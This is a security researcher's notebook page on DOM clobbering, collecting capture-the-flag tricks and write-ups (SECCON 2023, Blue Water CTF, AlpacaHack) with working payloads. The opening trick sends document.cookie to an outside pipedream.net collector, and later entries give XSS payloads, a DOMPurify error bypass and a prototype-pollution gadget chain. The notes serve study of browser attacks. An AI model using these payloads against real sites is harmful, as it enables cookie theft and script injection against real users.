Skip to content

Back to all notes

From the notebook

DOM CLOBERING

Saved reading ↗

Review status: not recorded

This is a working reference. The source’s edit date is not a verification date; examples can depend on software versions and configuration. No separate technical review has been recorded.

4 min read

Trick

<a id="clob" href="//*/%0A%0Adocument.location.href=`https://eori6i4ew40rbdj.m.pipedream.net?${document.cookie}" />or
<a id="clob" href="//*/\n\ndocument.location.href=`https://eori6i4ew40rbdj.m.pipedream.net?${document.cookie}" />

this will create

"//*/ document.location.href=`[https://eori6i4ew40rbdj.m.pipedream.net?$](https://eori6i4ew40rbdj.m.pipedream.net?$ "https://eori6i4ew40rbdj.m.pipedream.net?$"){document.cookie}"

tested: firefox v102

if there a setInterval with something you can clobber in argument, you can get code execution/XSS

seccon quals 2023 “blink web”

const id = setInterval(target.togglePopover, 400);

payload

http://blink.seccon.games:3000/#<iframe%20name=body%20srcdoc="<a%20id='nodeName'%20href='cid:alert(1)'></a>"></iframe>

sadly this technique will thor error if we don’t use something like this to wrap the document object

const wrap = (obj) => 
    new Proxy(obj, {
        get: (target, prop) => {
            const res = target[prop];
            return typeof res === "function" ? res.bind(target) : res;
        },
        set: (target, prop, value) => (target[prop] = value),
    });

Make error in DOMPurify

Challenges - Blue Water CTF Blue water ctf challenge

bluesocial challenge

for bluesocial we had a cheese solution, since u could make dompurify error by passing this lol

<form name="bar" id="lmao "> <!-- iterates over attributes backwards, when it gets to name it'll be clobbered and error -->
<input form="lmao" name="removeAttribute">
</form>
<img src=x onerror=alert(1)>

it gets removed from the dom tree but it doesnt return from the check here https://github.com/cure53/DOMPurify/commit/7422567a0b2f006ab8428bd0d4cf4818cf6f1b8f so it keeps going and errors lol

Related challenge

<html>
    <head>
        <script src="https://unpkg.com/dompurify@3.1.7/dist/purify.min.js"></script>
    </head>
    <body>
        <script>
            function normalize(s){
                return new Promise((resolve, reject)=>{
                    const frame = document.createElement("iframe")
                    frame.sandbox = 'allow-same-origin'
                    frame.hidden = true
                    frame.srcdoc = s
                    document.body.appendChild(frame)
                    setTimeout(()=>{
                        resolve(frame.contentWindow.document.body.innerHTML)
                    }, 100)
                })
            }
            async function main(){
                try{
                    var sanitizedHTML = new URLSearchParams(location.search).get("html")
                    sanitizedHTML = DOMPurify.sanitize(await normalize(html))
                    document.write(sanitizedHTML)
                } catch {
                    document.write(sanitizedHTML)
                }
            }
            main()
        </script>
    </body>
</html>

when it sanitizes attrs it removes the attr, does checks, then adds it back, so when id="foo " is added back it'll remove the space (i didnt find this, kevin mizu found it a while ago)

since that could clobber the form after the clobber check in _sanitizeElements, they added another clobber check in _sanitizeAttributes, so that if it's clobbered it gets _forceRemoved. but it doesn't return after that and keeps iterating over the detached dom tree, so it'll keep running the rest of _sanitizeAttributes and then error (since it was successfully clobbered lol)

Domclobering trick in Domparser

Cyber jawara 2025 quals

https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/

<html>
    <script>
        const dom = new DOMParser().parseFromString(
            `
            <form id="form" action="/submit" method="post">
                <input name="attributes">
                <input name="nodeName">
                <input name="childNodes">
                <input name="childNodes">
            </form>`,
            'text/html'
        );
        console.log(dom.documentElement.childNodes[1])
        const form = dom.documentElement.childNodes[1].supra
        const formBody = dom.body.childNodes[0]
        console.log('Form')
        console.log({
            form,
            attributes: form.attributes,
            nodeName: form.nodeName,
            childNodes: form.childNodes
        })

        console.log('---')
        console.log('Form Body')
        console.log({
            formBody,
            attributes: formBody.attributes,
            nodeName: formBody.nodeName,
            childNodes: formBody.childNodes
        })
    </script>
</html>
Image

Refference

https://tib3rius.com/dom/

AlpacaMark: DOM Clobbering + Prototype Pollution + credentialless iframe

Event NameAlpacaHack Round 11 (Web)
GitHub URLChallenge source and solver
Challenge NameAlpacaMark Revenge
Attachments
References

The goal is XSS through an unescaped markdown value placed inside a textarea, despite a nonce-based strict CSP and a patched Rspack document.currentScript check.

Recon

  • The page stores the first parsed markdown query value in localStorage. Later loads use the stored value and skip query parsing.
  • can-deparam supplies client-side prototype pollution through query parameters.
  • Rspack's dynamic-import runtime derives its public path from document.currentScript.src.
  • The patched runtime verifies document.currentScript.tagName === "SCRIPT", which normally blocks a simple named-element clobber.

Solver

  1. Break out of the textarea and inject an iframe named currentScript, causing document.currentScript in the parent to resolve to that iframe.
  2. Load the iframe with prototype-pollution parameters that give inherited tagName and src properties. The clobbered iframe then passes Rspack's tag-name check and points script loading at attacker-controlled code.
  3. Add blocking stylesheets so the iframe has time to render and perform the pollution before the main bundle reaches its dynamic import.
  4. Add the iframe's credentialless attribute. Its partitioned, ephemeral storage does not see the parent's existing localStorage, so the child parses the malicious query and triggers can-deparam again.
  5. Rspack trusts the clobbered-and-polluted currentScript.src, loads the attacker-controlled chunk or data payload, and achieves XSS under the nonce-based CSP.

Core gadget

<iframe name="currentScript"
  src="/?__proto__[tagName]=SCRIPT&__proto__[src]=PAYLOAD"
  credentialless></iframe>

Why credentialless matters

Without it, the child sees the same stored markdown value as the parent, so can-deparam is skipped and prototype pollution never happens. A credentialless iframe is still same-origin for DOM access, but its credentials and storage are placed in a separate ephemeral partition.

Caveats

  • The timing delay is part of the exploit, not decoration. The clobber and pollution must exist before the Rspack runtime reads document.currentScript.
  • The writeup covers the revised Revenge variant because the original challenge had an unintended solution.
  • This chain depends on the exact bundler runtime, dynamic-import path logic, vulnerable query parser, CSP, and browser support for credentialless iframes.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Back to all notes